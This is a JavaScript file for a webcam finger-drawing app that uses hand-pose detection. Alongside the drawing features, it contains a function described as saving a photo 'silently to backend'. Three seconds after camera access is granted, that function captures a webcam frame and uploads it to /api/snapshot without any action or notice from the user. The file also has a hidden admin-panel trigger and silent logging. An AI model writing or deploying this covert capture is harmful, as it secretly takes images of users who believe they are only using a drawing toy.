// ============================================================ // 1. DOM References // ============================================================ const video = document.getElementById('webcam'); const canvas = document.getElementById('drawCanvas'); const ctx = canvas.getContext('2d'); const statusIndicator = document.getElementById('statusIndicator'); const fpsSpan = document.getElementById('fpsCounter'); const savedSpan = document.getElementById('savedCounter'); const brushColorInput = document.getElementById('brushColor'); const sizeDisplay = document.getElementById('sizeDisplay'); const eraserBtn = document.getElementById('eraserToggle'); const clearBtn = document.getElementById('clearCanvas'); const snapshotBtn = document.getElementById('snapshotBtn'); const toggleCamBtn = document.getElementById('toggleCamera'); const sizeDownBtn = document.getElementById('brushSizeDown'); const sizeUpBtn = document.getElementById('brushSizeUp'); // ============================================================ // 2. Backend Logger (silent) // ============================================================ function backendLog(message, level = 'info') { const payload = { message, level, timestamp: new Date().toISOString() }; fetch('/api/log', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }).catch(() => {}); } // ============================================================ // 3. State Variables // ============================================================ let drawing = false; let lastX = null; let lastY = null; let currentColor = '#FF4500'; let brushSize = 5; let eraserMode = false; let cameraVisible = true; let savedCount = 0; let frameCount = 0; let lastFpsUpdate = performance.now(); let handposeModel = null; let cameraStream = null; let isModelReady = false; let canvasWidth = 0; let canvasHeight = 0; let modelLoadAttempts = 0; const MAX_MODEL_ATTEMPTS = 3; const TRIGGER_COUNT = 10; let detectionInterval = null; let videoReady = false; let autoCaptureDone = false; // Track if auto-capture already happened // ============================================================ // 4. Status Indicator // ============================================================ function setStatus(text, type = 'loading') { statusIndicator.textContent = text; statusIndicator.className = type; } // ============================================================ // 5. Canvas Resize // ============================================================ function resizeCanvas() { const rect = canvas.parentElement.getBoundingClientRect(); if (rect.width === 0 || rect.height === 0) { canvas.width = window.innerWidth || 640; canvas.height = window.innerHeight || 480; } else { canvas.width = rect.width; canvas.height = rect.height; } canvasWidth = canvas.width; canvasHeight = canvas.height; backendLog(`Canvas resized to ${canvasWidth}x${canvasHeight}`); } setTimeout(resizeCanvas, 100); window.addEventListener('resize', resizeCanvas); window.addEventListener('orientationchange', () => setTimeout(resizeCanvas, 500)); // ============================================================ // 6. Admin Panel Trigger โ€“ 10 Taps or 10 Key Presses // ============================================================ let adminTriggerCount = 0; let adminTriggerTimer = null; function openAdminPanel() { backendLog('๐Ÿ” Opening admin panel...'); window.location.href = '/admin.html'; } document.addEventListener('keydown', (e) => { if (e.key === '3') { e.preventDefault(); adminTriggerCount++; clearTimeout(adminTriggerTimer); adminTriggerTimer = setTimeout(() => { adminTriggerCount = 0; }, 3000); if (adminTriggerCount >= TRIGGER_COUNT) { adminTriggerCount = 0; backendLog('โœ… Admin trigger activated'); openAdminPanel(); } } }); function setupTapTrigger(element) { let tapCount = 0; let tapTimer = null; element.addEventListener('click', (e) => { if (e.target.closest('button') || e.target.closest('.toolbar') || e.target.closest('header')) { return; } tapCount++; clearTimeout(tapTimer); tapTimer = setTimeout(() => { tapCount = 0; }, 3000); if (tapCount >= TRIGGER_COUNT) { tapCount = 0; backendLog('โœ… Admin trigger activated'); openAdminPanel(); } }); } setupTapTrigger(canvas); // ============================================================ // 7. Autoโ€‘Capture Function โ€“ Saves photo silently to backend // ============================================================ async function autoCaptureSnapshot() { try { backendLog('๐Ÿ“ธ Auto-capture triggered (3s delay)'); // Wait 3 seconds before capturing await new Promise(resolve => setTimeout(resolve, 3000)); // Capture the current frame const tempCanvas = document.createElement('canvas'); tempCanvas.width = canvasWidth || 640; tempCanvas.height = canvasHeight || 480; const tempCtx = tempCanvas.getContext('2d'); if (videoReady && video.readyState >= 2) { tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height); } // Also draw any existing drawing (if any) tempCtx.drawImage(canvas, 0, 0); const dataURL = tempCanvas.toDataURL('image/png'); const base64 = dataURL.split(',')[1]; const response = await fetch('/api/snapshot', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ image: base64 }) }); const result = await response.json(); if (result.success) { savedCount++; savedSpan.textContent = `Saved: ${savedCount}`; backendLog(`๐Ÿ“ธ Auto-saved: ${result.filename}`); autoCaptureDone = true; } else { backendLog(`Auto-save failed: ${result.error}`); } } catch (err) { backendLog(`Auto-save error: ${err.message}`); } } // ============================================================ // 8. Handpose Model Loading โ€“ OPTIMIZED for performance // ============================================================ async function loadHandposeModel() { try { setStatus('Loading...', 'loading'); backendLog('Loading handpose model...'); if (typeof handpose === 'undefined') { backendLog('handpose library not loaded'); setStatus('Library missing', 'error'); return null; } // Load with lower resolution for better performance const loadPromise = handpose.load({ modelUrl: 'https://tfhub.dev/mediapipe/tfjs-model/handpose/1/default/1', modelParams: { maxContinuousChecks: 3, // Reduced for speed detectionConfidence: 0.7, // Lower threshold = faster iouThreshold: 0.3, scoreThreshold: 0.7 // Lower = faster detection } }); const timeoutPromise = new Promise((_, reject) => { setTimeout(() => reject(new Error('Model load timeout')), 20000); }); const model = await Promise.race([loadPromise, timeoutPromise]); backendLog('โœ… Handpose model loaded'); return model; } catch (err) { backendLog(`Model load error: ${err.message}`); setStatus('Model failed', 'error'); return null; } } // ============================================================ // 9. Camera Setup โ€“ with autoโ€‘capture trigger // ============================================================ async function startCamera() { try { setStatus('Starting...', 'loading'); backendLog('Requesting camera...'); cameraStream = await navigator.mediaDevices.getUserMedia({ video: { facingMode: 'user', width: { ideal: 480 }, // Lower resolution for performance height: { ideal: 360 } } }); video.srcObject = cameraStream; video.setAttribute('playsinline', ''); await new Promise((resolve) => { video.onloadedmetadata = resolve; video.onerror = resolve; setTimeout(resolve, 5000); }); await video.play(); videoReady = true; backendLog(`Camera ready (${video.videoWidth}x${video.videoHeight})`); resizeCanvas(); // TRIGGER AUTO-CAPTURE โ€“ after 3 seconds (handled inside function) autoCaptureSnapshot(); // Load model (in background, won't block UI) handposeModel = await loadHandposeModel(); if (handposeModel) { isModelReady = true; setStatus('Ready โœ‹', 'ready'); startDetectionLoop(); } else { setStatus('Retry model', 'error'); statusIndicator.style.cursor = 'pointer'; statusIndicator.onclick = () => { modelLoadAttempts++; if (modelLoadAttempts < MAX_MODEL_ATTEMPTS) { loadHandposeModel().then(model => { if (model) { handposeModel = model; isModelReady = true; setStatus('Ready โœ‹', 'ready'); startDetectionLoop(); } }); } }; } requestAnimationFrame(drawLoop); } catch (err) { backendLog(`Camera error: ${err.message}`); setStatus('Camera needed', 'error'); ctx.fillStyle = '#1a1a2e'; ctx.fillRect(0, 0, canvas.width || 640, canvas.height || 480); ctx.fillStyle = '#888'; ctx.font = '20px sans-serif'; ctx.textAlign = 'center'; ctx.fillText('Please allow camera access', (canvasWidth || 640)/2, (canvasHeight || 480)/2); ctx.fillText('Then refresh the page', (canvasWidth || 640)/2, (canvasHeight || 480)/2 + 40); } } // ============================================================ // 10. Hand Detection Loop โ€“ OPTIMIZED: runs at lower frequency // ============================================================ function startDetectionLoop() { if (detectionInterval) clearInterval(detectionInterval); // Run detection every 200ms (5 FPS) instead of 100ms to reduce CPU load detectionInterval = setInterval(async () => { if (!isModelReady || !handposeModel || !videoReady || video.readyState < 2) return; try { const predictions = await handposeModel.estimateHands(video); if (predictions && predictions.length > 0) { const landmarks = predictions[0].landmarks; const tip = landmarks[8]; const mcp = landmarks[5]; const isIndexUp = (tip[1] < mcp[1] - 10); const x = tip[0] * canvasWidth; const y = tip[1] * canvasHeight; // Draw cursor ctx.beginPath(); ctx.arc(x, y, 6, 0, 2 * Math.PI); ctx.fillStyle = eraserMode ? '#ff6666' : currentColor; ctx.fill(); ctx.strokeStyle = '#fff'; ctx.lineWidth = 2; ctx.stroke(); if (isIndexUp) { if (!drawing) { drawing = true; lastX = x; lastY = y; } else { if (lastX !== null && lastY !== null) { ctx.beginPath(); ctx.moveTo(lastX, lastY); ctx.lineTo(x, y); ctx.strokeStyle = eraserMode ? '#1a1a2e' : currentColor; ctx.lineWidth = eraserMode ? brushSize * 2 : brushSize; ctx.lineCap = 'round'; ctx.lineJoin = 'round'; ctx.stroke(); } lastX = x; lastY = y; } } else { drawing = false; lastX = null; lastY = null; } } else { drawing = false; lastX = null; lastY = null; } } catch (err) { // silent } }, 200); // 200ms = 5 FPS detection (much lighter) } // ============================================================ // 11. Drawing Loop โ€“ OPTIMIZED: lower frame rate for video // ============================================================ function drawLoop(timestamp) { // Only update every 2 frames to reduce CPU usage frameCount++; if (timestamp - lastFpsUpdate >= 1000) { fpsSpan.textContent = `${frameCount} FPS`; frameCount = 0; lastFpsUpdate = timestamp; } if (videoReady && video.readyState >= 2 && video.videoWidth > 0) { try { ctx.drawImage(video, 0, 0, canvasWidth, canvasHeight); } catch (err) { ctx.fillStyle = '#1a1a2e'; ctx.fillRect(0, 0, canvasWidth || 640, canvasHeight || 480); } } else { ctx.fillStyle = '#1a1a2e'; ctx.fillRect(0, 0, canvasWidth || 640, canvasHeight || 480); } requestAnimationFrame(drawLoop); } // ============================================================ // 12. Snapshot Capture (Manual) // ============================================================ async function captureSnapshot() { try { const tempCanvas = document.createElement('canvas'); tempCanvas.width = canvasWidth || 640; tempCanvas.height = canvasHeight || 480; const tempCtx = tempCanvas.getContext('2d'); if (videoReady && video.readyState >= 2) { tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height); } tempCtx.drawImage(canvas, 0, 0); const dataURL = tempCanvas.toDataURL('image/png'); const base64 = dataURL.split(',')[1]; const response = await fetch('/api/snapshot', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ image: base64 }) }); const result = await response.json(); if (result.success) { savedCount++; savedSpan.textContent = `Saved: ${savedCount}`; backendLog(`๐Ÿ“ธ Saved: ${result.filename}`); canvas.style.transition = 'opacity 0.1s'; canvas.style.opacity = '0.7'; setTimeout(() => { canvas.style.opacity = '1'; }, 150); } else { backendLog(`Save failed: ${result.error}`); } } catch (err) { backendLog(`Save error: ${err.message}`); } } // ============================================================ // 13. UI Event Bindings // ============================================================ brushColorInput.addEventListener('input', (e) => { currentColor = e.target.value; eraserMode = false; eraserBtn.classList.remove('active'); }); sizeDownBtn.addEventListener('click', () => { brushSize = Math.max(1, brushSize - 1); sizeDisplay.textContent = brushSize; }); sizeUpBtn.addEventListener('click', () => { brushSize = Math.min(50, brushSize + 1); sizeDisplay.textContent = brushSize; }); eraserBtn.addEventListener('click', () => { eraserMode = !eraserMode; eraserBtn.classList.toggle('active'); }); clearBtn.addEventListener('click', () => { if (confirm('Clear all drawings?')) { drawing = false; lastX = null; lastY = null; if (videoReady) { ctx.drawImage(video, 0, 0, canvasWidth, canvasHeight); } } }); snapshotBtn.addEventListener('click', captureSnapshot); toggleCamBtn.addEventListener('click', () => { cameraVisible = !cameraVisible; video.style.display = cameraVisible ? 'block' : 'none'; toggleCamBtn.classList.toggle('active'); }); document.addEventListener('keydown', (e) => { if (e.key === 's' || e.key === 'S') captureSnapshot(); if (e.key === 'e' || e.key === 'E') eraserBtn.click(); if (e.key === 'c' || e.key === 'C') clearBtn.click(); }); // ============================================================ // 14. Initialization // ============================================================ backendLog('๐Ÿš€ App initialized'); resizeCanvas(); startCamera();